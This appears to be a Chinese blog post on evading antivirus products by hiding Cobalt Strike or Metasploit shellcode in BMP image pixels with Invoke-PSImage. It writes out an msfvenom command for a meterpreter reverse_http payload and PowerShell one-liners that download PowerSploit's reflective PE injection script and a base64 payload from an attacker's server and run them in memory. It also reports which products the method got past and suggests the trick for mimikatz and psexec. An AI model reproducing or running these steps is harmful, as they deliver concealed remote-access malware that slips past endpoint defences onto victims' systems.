shellcode隐写RGB过火绒、360
cs篇将Shellcode隐写到正常BMP图片中,把字符串拆成字节,写入每个像素的alpha通道中,然后上传到可信任的网站下偏移拼接shellcode进行远程动态加载,能有效地增加了免杀性和隐匿性。
首先在cs生成shellcode
MSF篇
在msf生成ps文件
1 | msfvenom-pwindows/x64/meterpreter/reverse_httpLHOST=192.168.82.134LPORT=7788-fpsh-reflection>msf.ps1 |
后面都一样
将payload放在与Invoke-PSImage.ps1同一目录下
提前准备一张图片用于生成包含shellcode的图片
在当前目录下打开powershell
1 | Set-ExecutionPolicy Unrestricted -Scope CurrentUser //设置脚本策略 |
同时会生成一段powershll的shellcode
在公网服务器开启web服务,同时将上面生成的图片传到网站路径用于加载,生成的那段shellcode中的example.com改成自己web服务的地址就好
本地运行后火绒和360正常过
!
但是被defender拦了,尝试用海莲花加密,还是一样被拦截
看来简单的加密拆分混淆已经过不了defender了,得另寻他路
看到有师傅Powershell内存中执行exe,试一试远程加载反射注入PE
本地编码payload
powershell下执行将自己的马子改下路径
1 | functionConvert-BinaryToString{ |
目标机器远程加载powerspolit的PE反射模块
1 | iex(New-ObjectNet.WebClient).DownloadString("http://服务器IP/Invoke-ReflectivePEInjection.ps1") |
加密后显示字符过长。。。。
这里先跳过看看后面是否可以正常运行
继续加载base64编码后得payload
1 | $b64Str=(New-ObjectNet.WebClient).DownloadString("http://xxxx/res.txt") |
解码payload
1 | $PEBytes=[System.Convert]::FromBase64String($InputString) |
反射调用
。。进行到这里又陷入了僵局
一直在尝试免杀脚本内容,但是忽略了defender查杀前面的iex函数将iex换为别名Invoke-Expression也不可以
Windows针对powershell的检测主要是AMSI接口。
主要检测
- 文件
- 内存
- 数据流
其实想到可以dll劫持,但是要建立在权限足够的基础上,还有修改注册表什么的,但是权限足够的话就不需要这个方法了……
实在找不到好的方法了。。。。菜鸡叹气
这里其实也可以隐写其他ps脚本,比如mimikatzpsexec等等工具,思路打开,路子很多。
几个月前写的了,现在发出来,虽然现在会了点方法,不过还是要感叹一句,defender静态查杀挺强的。
Peace.